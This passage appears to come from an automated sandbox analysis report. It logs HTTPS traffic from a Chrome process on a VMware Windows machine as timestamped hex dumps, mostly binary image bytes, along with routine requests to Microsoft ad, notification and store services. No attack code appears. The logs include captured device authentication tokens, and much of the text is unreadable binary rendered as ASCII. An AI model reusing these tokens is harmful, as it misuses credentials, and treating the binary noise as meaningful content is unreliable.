b3 ad 63 da c0 37 03 a7 4a cd dd 32 cd 44 9a 49 97 19 db e9 9a 96 18 fe 62 49 cf ae 0f 14 5a db 99 94 72 70 3a 0a 7e a1 
6e d6 b1 8c 12 32 32 0d 34 2f 22 76 b9 58 b3 e9 8e e6 b9 ed 69 
Data Ascii: rj|+pO'~Di4|5'f8w<n;'GZv]-;XGOa>h\FThNpI[KafKHSqVs323\T)!Oc7J2DIbIZrp:~n224/"vXi

2022-07-01 09:02:14 UTC 7772 IN Data Raw: 4e 31 95 38 1f 95 45 37 ef b1 b6 15 95 73 c3 2b 61 87 e1 c5 6a 41 18 30 9c 89 3f 72 7a 8c 0c a9 aa f3 58 ae ff 
00 30 38 c7 50 53 a9 a7 cb 33 42 a4 14 79 57 38 2b 22 6e 23 f2 e6 98 ab 6f 26 0a 7e ec e7 a2 b1 04 50 05 5b d8 e2 b8 
52 b2 db 49 3f 6d ca 14 1f cf 35 41 b4 a8 51 36 c5 a5 cc 41 e7 73 ca 4a fe 4b c5 74 12 48 3c b2 8c c0 b9 e3 6b 60 67 f1 
ac e4 69 2d 5c 96 46 88 f6 60 c4 8a 19 48 82 db 50 96 c7 08 2d de 25 ce 06 24 e9 fa 54 da 95 ad c5 e4 3e 64 64 03 8c f2 
37 1f d0 8a 86 49 e4 69 8b c7 71 1f 5e 4b 7c c4 7e 3c 55 89 26 0c a3 cf 39 4c 7d fc e0 1f d6 a6 c3 39 f8 6c ee 24 99 e2 
9e e1 e3 00 f0 ad 18 2b f8 f3 9a 5f 26 d2 c2 4d 89 a8 44 4b 74 50 08 03 e9 ce 2b 5d 63 b6 99 b2 ec c4 63 0a 00 e6 ab 5e 
69 9b 55 da 0f 3b 38 c0 52 38 35 9b 89 7c c6 26 a9 34 b7 
Data Ascii: N18E7s+ajA0?rzX08PS3ByW8+"n#o&~P[RI?m5AQ6AsJKtH<k`gi-\F`HP-%$T>dd7Iiq^K|~<U&9L}9l$+_&MDK
tP+]cc^iU;8R85|&4

2022-07-01 09:02:14 UTC 7788 IN Data Raw: 41 6d e3 d4 52 b5 cb b1 d0 5e 5e ae dc 96 04 56 15 d5 c3 cd 30 da 30 3d 7d 6a bf fc 7f 67 e7 60 3b 0e f5 ab 
69 62 70 aa 40 23 1d 7d 28 e5 51 03 f3 c5 2e 2d a5 98 9b 8b 73 32 28 e8 8d b0 83 ed 59 f7 59 ba 98 04 56 f2 94 71 bb 82 
2a f4 97 02 dd b6 18 36 1c 12 58 f3 b8 d2 16 49 6d 5e 57 57 ca 8f ba a3 8a fa ab 1e 11 9d be 28 ee d9 ae 1d 61 85 46 57 
d4 d6 b5 9f 8c a7 d1 ac 9e 1d 2e 30 8d 21 c9 95 c7 27 e9 5c fd ac 09 71 3c 92 cc 98 1d 55 4f 6f 6a d0 b8 89 5a 35 6c a9 
23 90 07 51 53 6b 94 5a fe da bc 6c 4f 75 3b 1b 97 e0 49 d4 81 ed 58 7a 8d bc 97 33 61 26 79 61 72 0b 33 0c 64 fa 55 bd 
df 6a 61 91 b4 2f af 15 61 04 4a a1 0b 06 89 4e 42 9e 86 90 5c cd 8a dd 23 50 3a 76 18 19 15 76 1b 23 24 26 4d a7 8e 76 
81 d0 54 b3 3d a4 4a 99 6d 83 d0 f5 ac 0d 47 5d 65 67 d9 
Data Ascii: AmR^^V00=}jg`;ibp@#}(Q.-s2(YYVq*6XIm^WW(aFW.0!'\q<UOojZ5l#QSkZlOu;IXz3a&yar3dUja/aJNB\#P
:vv#$&MvT=JmG]eg

2022-07-01 09:02:14 UTC 7795 IN Data Raw: 58 d8 c5 13 ce 5e e7 ab 2e 72 05 5a 9b b9 af 29 b5 a8 68 6a 5a 26 88 6f 7d d8 2c 0e 01 ac 8d 56 de e7 72 5a 
5b c8 10 13 96 3e b5 a5 a7 dc 5c 5a db 90 c0 9d eb b9 59 f9 0b f4 aa 66 c1 fc cf b4 4d 33 12 0f cb b4 e7 34 f4 65 0b f6 79 
74 db 5f 29 10 3c ec 4b 33 b1 e4 0f 4a c2 be 2d 1d b1 53 04 82 e7 19 f3 14 7c a0 fb 62 ac 6b 9a ca ac 8b 6f 0e e2 23 39 
92 42 79 6a a0 be 2f 5b 15 05 a2 0e 49 f9 57 af e7 4b 45 a0 ec cc 9b 8b c7 80 b3 34 4a ec 17 39 65 e4 d5 53 ac cb 36 de 
3e 4e ea a3 ad 3a eb 51 bd d5 2e 27 db 12 2c 19 c0 6c 60 0a a7 25 a9 8e 45 04 f9 4d 9c ed 3c e6 ab d0 3d 4d 8b 54 9d 
54 cb 24 72 15 c6 54 91 c0 a9 92 2b bb 86 f2 e1 7d 96 f9 c9 c9 c0 2d 54 ad f5 f9 fc 9f b1 30 8d dc 75 6c e6 ae ac f2 33 41 
11 5c 06 3b 99 90 f5 15 a5 d0 8b 70 68 62 e1 41 b9 2a 
Data Ascii: X^.rZ)hjZ&o},VrZ[>\ZYfM34eyt_)<K3J-S|bko#9Byj/[IWKE4J9eS6>N:Q.',l`%EM<=MTT$rT+}-T0ul3A\;phbA*

2022-07-01 09:02:14 UTC 7811 IN Data Raw: d7 87 48 8d 15 36 b1 ec 54 73 55 2b df 42 55 ba 9d 66 9b 0d b6 9b 6c 21 11 45 8c 70 00 ce 7e b5 cf eb da a2 
5b cd fb b0 bb 53 fb a2 b2 e2 d5 2e 2f 88 25 d9 47 dd 1b 7b d3 6e f4 79 26 4c ab 81 bb a6 ee b5 0a 36 77 6c ab 95 1b 5c 
92 e1 a5 4c 36 d2 30 33 c6 2b 37 cd da 4a b0 c8 ce 49 3d ea 4b 88 1e d8 11 29 fb a7 96 1d 4d 67 cd 74 ab 92 49 23 15 
5b 01 d3 69 73 43 6f 18 72 57 77 7e 69 ba 95 e3 5c b8 58 e4 60 08 e8 3b 57 1c 35 59 19 ca 23 e5 73 91 c7 5a e8 74 b6 
db 22 c9 23 e7 8e 87 91 4b 67 71 e8 d1 6d 83 5b c3 b7 3c f5 25 8e 31 54 d8 b3 5c 1f 9b 20 72 4e 78 35 72 fa f2 36 04 8c 
13 d7 19 ac f8 d4 b2 9c e7 39 c8 3d 0d 5a 62 b1 6e de 62 d1 b0 24 00 2a bc 97 2a 8c 46 41 ef 9c d3 d9 04 36 e7 92 09 39 
f5 c5 62 79 c2 6b ac e4 ed 07 15 69 92 cd d8 25 96 64 ca 0c 01 
Data Ascii: H6TsU+BUfl!Ep~[S./%G{ny&L6wl\L603+7JI=K)MgtI#[isCorWw~i\X`;W5Y#sZt"#Kgqm[<%1T\ rNx5r69=Z
bnb$**FA69byki%d

2022-07-01 09:02:14 UTC 7827 IN Data Raw: 81 b8 f2 45 7b 07 82 5a cf 54 b7 49 65 ba 71 3f 78 d4 71 5f 3d c1 a1 cd 6f 28 61 b4 60 e7 a6 73 5d ef 85 bc 5b 
26 96 c9 1f 92 b9 e9 9c e2 b9 6a 52 b2 f7 11 b4 27 ae a7 b9 5d ea 16 9a 74 60 6f 2a bd 09 ce 33 5e 51 f1 13 c4 d6 b7 3e 
6d ac 60 ba 91 cb 30 cd 69 ff 00 6c 5c 78 9b 74 13 2b 20 27 01 b1 5a 3a 87 80 2d 6e b4 97 db 12 a4 9b 72 24 07 9c d7 37 
2a 8a bc b7 34 be ba 1f 3c 5b eb 57 76 bb d6 37 da 0f 38 cf 02 b3 2e 35 49 2e 2f 0f 9d 23 33 e7 07 27 9a d9 f1 56 82 fa 
2e ac 43 00 50 9c 80 a7 02 b0 ee a6 86 69 01 11 22 6d 1d 7b 9a 6e 4e 2c d3 e2 47 6b e1 fd 65 6d ed 4a 97 c0 03 d6 89 
bc 43 e6 5f 47 86 c0 53 92 7b 9a e0 4e a9 e4 31 8c 12 40 38 ab 96 37 4f 2b 6f 07 81 cf 3d 29 c5 37 ab 25 f6 3d e3 c3 3e 
26 69 3c b6 8e 5c 1e e3 3c 1a f6 2f 0a f8 a0 ac 71 b2 0c 
Data Ascii: E{ZTIeq?xq_=o(a`s][&jR']t`o*3^Q>m`0il\xt+ 'Z:-nr$7*4<[Wv78.5I./#3'V.CPi"m{nN,GkemJC_GS{N1@87O+o=)7
%=>&i<\</q

2022-07-01 09:02:14 UTC 7835 IN Data Raw: 1f 10 c6 0e 09 e3 00 81 9a bf 72 bf 61 8c 06 38 60 38 c5 6f 2d d4 7b 0e c1 83 8c 00 78 ae 47 c5 5a 92 c7 1c 
99 6e 71 cf b5 02 b9 c9 78 97 c4 e2 1d fb 9f 62 d7 97 eb 9e 3c 9a 49 8c 56 dc 82 70 4f 5a b7 e2 68 ee 35 6b 86 76 66 10 
6e c2 af 4c d4 be 1d f0 ac 2d 30 92 64 e1 4f ae 73 5d 51 50 82 bb 16 b2 d8 dc f0 7d ac ba 80 89 18 30 27 e6 62 6b d6 f4 
3d 2f c9 01 8b 61 57 85 5c 57 2b a3 c6 96 a8 44 60 0e c0 a8 c1 ad 9f ed 99 a0 5d aa 49 e3 38 cd 73 4a 4e 4f 43 4d 91 bf 
aa 5f ad a4 60 03 bd b1 ce 0e 6b 99 ba d4 9e e8 85 52 11 7f bb dc d6 4e a1 e2 32 ca 43 1c 16 3c e6 b3 ac b5 6f 3a f0 97 
c9 55 1c 05 15 29 5b 50 3b 0b 79 52 dd 55 9b 96 03 8f 4c d6 4e b5 ab 2a e4 83 9f 7c f3 54 6e 35 ed bf 22 92 4f af a5 62 
df 4c 2e a3 25 a4 24 f5 e2 92 d5 dd 94 4a d7 86 46 72 1c 
Data Ascii: ra8`8o-{xGZnqxb<IVpOZh5kvfnL-0dOs]QP}0'bk=/aW\W+D`]I8sJNOCM_`kRN2C<o:U)[P;yRULN*|Tn5"ObL
.%$JFr

2022-07-01 09:02:14 UTC 7851 IN Data Raw: a5 c7 1c a9 7c 70 e7 3b 40 ee 2b 13 e1 df 81 75 3d 68 bd e8 56 86 0e a1 98 70 7e 95 dd ea 96 16 fa 1c 21 18 
92 4f 07 b9 a2 4a fb 15 16 73 fa 86 ed 6a 56 f3 32 88 a3 68 03 a5 33 47 b6 8e 19 04 61 31 8e 01 23 ad 5c b7 b7 53 9f 98 
08 db 91 cf 35 24 b7 0c a4 24 51 1c 03 f7 b1 9c d6 7c bd 8d 2e 76 3e 17 b5 66 9c ed 5d c8 a0 65 8d 70 bf 13 a6 fb 76 b3 
2e c7 22 35 01 15 49 e8 07 7f ce bd 0b e1 f5 d4 b7 17 3e 58 4c 9d dd 0f 4e 05 32 3f 85 71 78 87 5a 95 ee 1d 9c 19 49 f9 
4e 30 33 5e 7c a4 a3 55 f3 74 3a e3 17 28 2b 1e 3f 0e 8b 79 a9 42 a9 69 13 4a e3 b2 8a ef 3c 33 f0 d7 5b ba 68 5e 4b 4e 
14 e0 96 38 38 af 76 d1 fe 1a 59 e8 71 a4 76 aa 10 63 a6 39 ae a2 df c3 71 d8 c1 bd b3 19 23 3c 8c 9a cd d7 5b 25 71 fb 
3e e7 87 eb 1e 0d 9d 20 16 e4 2e f0 39 ef 5c c4 3f 0f 75 
Data Ascii: |p;@+u=hVp~!OJsjV2h3Ga1#\S5$$Q|.v>f]epv."5I>XLN2?qxZIN03^|Ut:(+?yBiJ<3[h^KN88vYqvc9q#<[%q> .9\?
u

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:02:14 UTC 7867 IN Data Raw: 71 85 8c 1c 8d 5f ed 6c ae d6 62 a7 db bd 3e 3d 61 21 c1 dd 9f 5c 75 35 cb 49 33 33 ee ed 46 e2 d9 aa f6 68 
5c c7 5b ff 00 09 53 03 80 e4 03 c7 26 a3 6d 63 71 dd b8 6d c7 4c f7 f4 ae 55 98 ee c0 19 f7 ab 56 f1 b3 63 1c 76 f7 a3 d9 
a0 e6 67 49 0d f0 92 45 19 c0 cf 35 df f8 75 1e 48 80 51 c7 62 2b 8a f0 ce 83 25 e4 e9 b9 49 19 c9 af 64 d0 f4 3f b2 c0 08 
42 38 e4 11 58 55 92 8a b2 36 a6 9c 88 6d 2d 4a b7 cc 31 5b 76 bf 2a 92 7f 00 69 93 42 22 8f ee e0 d6 2e ab e2 04 d3 6d 
d8 e4 66 b8 9d e4 74 6c 6b dc 5f 2c 27 92 33 9f 5a 6a f8 96 15 38 de 07 bd 79 56 a1 e3 67 9a 46 0a f8 f6 cd 60 dd 78 ba 
4d c4 ee 24 f6 e6 a9 41 8b 99 1e e3 27 8e 20 b5 6e 5d 4f b6 69 ad f1 02 0b a5 38 90 29 1d 01 3d 6b e7 6b bd 6a e6 69 
0b 97 6e 7b 66 ad 59 ea d3 48 a0 1d c4 63 81 9a e8 54 
Data Ascii: q_lb>=a!\u5I33Fh\[S&mcqmLUVcvgIE5uHQb+%Id?B8XU6m-J1[v*iB".mftlk_,'3Zj8yVgF`xM$A' n]Oi8)=
kkjin{fYHcT

2022-07-01 09:02:14 UTC 7875 IN Data Raw: a4 d3 35 8d ce d8 a0 55 c8 0c ca df 31 c7 3e 95 c9 78 13 59 b2 f0 25 8e a6 2f 67 59 35 6b 9c 61 55 73 b3 d8 
d7 a3 69 f3 ff 00 c2 0b e0 c2 e8 ed 3c 92 5d f9 4d 31 4d ec 99 46 c7 19 e5 b8 ae 17 48 f0 4d 9e ad 27 db 23 89 9d 32 5b 
cd 9a 32 24 91 8f 52 dd bf 0a e1 a9 46 15 62 e3 25 a1 d4 aa 38 ec 70 7e 29 f0 dc d3 eb 12 df 4f 7b 14 b7 57 04 c8 18 12 
72 07 38 1e 98 15 53 47 d4 93 4f d6 2d 26 b7 26 59 43 a8 3e 8b 5e 95 ae 7c 24 d4 5b c2 b7 9a b4 56 f1 d9 47 68 af 2c 4b 
23 e3 0a 3e f7 d4 f3 c5 78 be 8e b3 db b4 ad 9c b3 3f dd cf 24 56 53 8c 6d ee 9a 46 57 dc f5 fd 6b c4 d1 4b ae 8b b5 70 
43 28 de ab d3 35 d6 f8 3a df 4e d6 3c fd 42 e8 24 40 47 8f 31 b9 21 47 3f d6 bc 6f 48 b7 bd b8 90 39 b6 7d aa 72 41 52 
40 5a 75 f7 8d 13 c2 96 f7 b1 ca 59 a0 90 80 b1 e7 07 26 
Data Ascii: 5U1>xY%/gY5kaUsi<]M1MFHM'#2[2$RFb%8p~)O{Wr8SGO-&&YC>^|$[VGh,K#>x?$VSmFWkKpC(5:
N<B$@G1!G?oH9}rAR@ZuY&

2022-07-01 09:02:14 UTC 7891 IN Data Raw: 38 3b 9b 53 cf 19 aa d0 e9 c6 69 82 f3 d6 ba ab db 31 1e 46 3f 4a af a7 da 9f 3b 23 ae 7b d6 a6 46 c6 81 a6 
a5 ac 00 90 14 77 f5 35 d3 69 f0 a9 e5 51 41 f5 23 9a c2 b4 f9 5b 04 e4 0e d5 d4 68 f0 ee 60 cd c0 ee 0d 71 4f bb 3a a2 
74 de 1b 89 a1 6d c0 12 73 c1 ae e3 4e d5 1e 20 03 93 ed 9e 95 c7 db dc 18 a1 01 06 30 3a 54 1f db 12 f9 80 29 cf 3d 6b 
8e 51 4c e8 8b 3d 4a df 54 f3 13 85 26 a3 9b 54 10 e4 e4 64 8e 06 79 ae 36 c7 59 94 a8 5e 9e bc d4 fe 6f de 62 c5 d8 9e 
e7 35 8f 2d 8b b9 b3 2e be e8 c4 00 3f 1a a3 73 e2 06 79 02 96 00 67 9c 55 21 03 4c a4 92 40 f5 ef 55 ff 00 b3 f6 48 0b 
12 79 cf 27 a5 6d 14 9a d4 86 75 9a 4d d6 e0 19 8f 1d ab 5d 75 25 c9 c1 fc 2b 88 5b c9 23 65 55 e0 76 03 8c d7 47 a4 af 
98 01 60 49 f7 a9 94 15 ae 52 66 bb cc f7 0b c3 10 3d 2a 
Data Ascii: 8;Si1F?J;#{Fw5iQA#[h`qO:tmsN 0:T)=kQL=JT&Tdy6Y^ob5-.?sygU!L@UHy'muM]u%+[#eUvG`IRf=*

2022-07-01 09:02:14 UTC 7907 IN Data Raw: a4 b7 cb e9 8a cf bd d3 c4 99 40 38 ff 00 64 57 5d fd 9e 55 36 ec 00 7b 53 06 9e bb b0 a0 67 a6 6b 44 07 11 
1f 84 d6 66 c6 1b 1e e2 af 5b 78 2d 23 6c e3 9e a0 57 79 6b a6 a4 49 96 c6 69 e6 d9 01 c8 eb da 8f 68 d6 c4 d9 33 9c b5 
d1 8d ac 61 7a 73 9e 3a d7 53 a1 db ac 5b 4e 00 ee 6a bc 90 e5 86 38 c5 59 b7 98 46 c3 3c 1f d0 d2 52 bb 13 3b 4d 2e 
51 b9 40 fa e4 d6 d0 b8 45 38 dd cd 71 16 da bf 97 92 48 04 7e 15 32 eb 44 b1 39 e3 15 a2 66 2d 1d 64 f7 88 aa 72 79 ac 
ab ab e5 55 2c 48 fc eb 9f bc f1 32 45 19 2c f8 fc 6b 8e d6 3c 74 b1 ee 02 4e 3b 73 c5 6b 18 a9 10 75 1a a6 ac bc a8 2a 
0e 6b 92 d5 6e 44 80 9d d9 fc 6b 90 d4 7c 66 64 62 55 f0 73 d0 9a cf 8b c4 d2 dd 36 dc e4 e7 9e 6a 9d 3b 97 1b a3 a1 66 
32 49 c1 c9 ce 31 5a 36 7a 54 b7 58 0a 9d fb 8a 3c 39 62 97 
Data Ascii: @8dW]U6{SgkDf[x-#lWykIih3azs:S[Nj8YF<R;M.Q@E8qH~2D9f-dryU,H2E,k<tN;sku*knDk|fdbUs6j;f2I1
Z6zTX<9b

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

172 192.168.2.5 49944 20.40.129.122 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:02:21 UTC 7911 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&ctry=US&time=20220701T180219Z&lc=en-US&pl=en-US&i
dtp=mid&uid=8706df6d-9543-4122-b8e1-1fcdd5939be6&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=9d502411768a44f2a7a62a8ac5ef323c&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1583967&metered=false&nettype=ethernet&npid=sc-
310091&oemName=ofrcin%2C%20Inc.&oemid=ofrcin%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=ofrcin7%2C
1&tl=2&tsu=1583967&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32099&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAATC3I5MCiNiZRUSkHLXmr2
h16E7Q++Whx3iOpPKiyn/NnUhEWye0F9WEEPnb9KQwSNFvj/XsSGU+fQ60XP5FvzL5J5wi77xbTZc9g24kpX9P1nlL
OzpG0xrAJrD+T4KTGi9jjN8SegCSaJgQHuPLjUeYbgWurckU5hBGQI0KjpxtOgLUXZnvljzLPCvjHYYX/OhLGHZdbS
UqvNgwTnOAHCEBSCdSXq8CFtA8jTWYpVrSl04xAmMUAeJPR4hszXb40dopACLqjCOIIvrBZLyAuxmy731fbSFbQ1H/
iAvCTmgj9lEZiVPz+U6YpwAm89lZBq/wg1vI6jHdUMFP1hyQFKADZgAACJJ4RTrzHcmFsAHl64pJyj4mS+EjcMo1++
7j7FW8LVCdm3VQVLEZCUoC/mtauHkEiSRovL9wW+1CopT7nzGYdH4edpX55svzZyZS8SqmheKDvO3V/G54kOnghCJs
Ljw8t8x8ONKFjBovgeYkkCEAYmUFwVim2AwwlaWILVbfX+sdJWV1Y9hVCtotsn537CzSy1amz44pTUB1DDOKDGOE8+
Nyq/73+OVuxdkyFTubqFs66OlGcZ3XH8rGTF+d0l3GDn4TcT3EOqjrs14CFqPyC4ewNQcGYapLCW9De1ZHZnZKRy/I
t9InsQvETkbqNZAM9NGTX8xJHQ4bw3HnSh2OQ4rc+9bBvI6o3MRrU3DtSsoguzalI/wy78MpXF3WPCRZluxIA96fHI
TrlorCCObhUAbJNcnw/7RZP8RwbGbtVCmPcbSj/xg2S6a7BarITjxwuT+jSbB9M9uWS+y1ce1ENId+ZnoMdS5CpNSw
KU8/+SvrIcMYNNAKagqvedAxNUXKgY/Iz0JAfVqKqUKBHXTbV+vhdol7qxDowF8UhCe4PpHTMnCZfUmLUXfvGgi6kd
dv9hzT7zBwLR9AUfvaAQ==&p=
Cache-Control: no-cache
MS-CV: C5+TrcZWiUWdkzTA.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-07-01 09:02:21 UTC 7913 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: EnFqNhCtAPlWwP71yEEESNUZBdguaVOwvrcQtbVwRcLY8jnyqSn7WCkoqRlzmatQ4Mab07dGj/JmeBe
YSsx9U1OJ/PEjIrNmP16e/nru2yI5Xhh8BGmZflG/tHE2OLwA24nB/gP7ftbUSvdPzUPgL5LOiXGiUON8MjV3KL3xy
a7HLwZQwg4Hz7PHz18g/nN8NUuHbSedC/QV++I1xgS5HQCeMo6s9lYnKVjk4nZNuEjcvHocQLx0pkACkfB9jJUyb+p
FThcsXT7EGwQi6/hIo7ObPuf/jvx1upqjAiAFziZqpRG53VlBEB55eRwi0cfQspUOpZbIPes7+7fAlyupUA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 01 Jul 2022 09:02:21 GMT
Connection: close

2022-07-01 09:02:21 UTC 7914 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 30 
31 54 31 33 3a 30 32 3a 32 31 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-07-01T13:02:21"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

173 192.168.2.5 49945 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:02:31 UTC 7914 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 66 63 66 30 34 37 34 34 61 32 
61 63 36 63 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: e2fcf04744a2ac6c

2022-07-01 09:02:31 UTC 7914 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

2022-07-01 09:02:31 UTC 7914 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 66 63 
66 30 34 37 34 34 61 32 61 63 36 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: e2fcf04744a2ac6c<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:02:31 UTC 7915 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 66 63 66 30 34 37 34 
34 61 32 61 63 36 63 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: e2fcf04744a2ac6c

2022-07-01 09:02:33 UTC 7915 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:02:33 UTC 7915 IN Data Raw: 4d 53 2d 43 56 3a 20 56 71 5a 66 37 38 76 4b 75 55 65 55 30 55 4f 77 34 48 61 65 78 67 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: VqZf78vKuUeU0UOw4Haexg.0Payload parsing failed.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.5 49746 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:37 UTC 251 OUT GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-
74f2065197d3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 252 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10694
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE"
MS-CV: PAMnN/lHQEOUOWN/.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 252 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c 
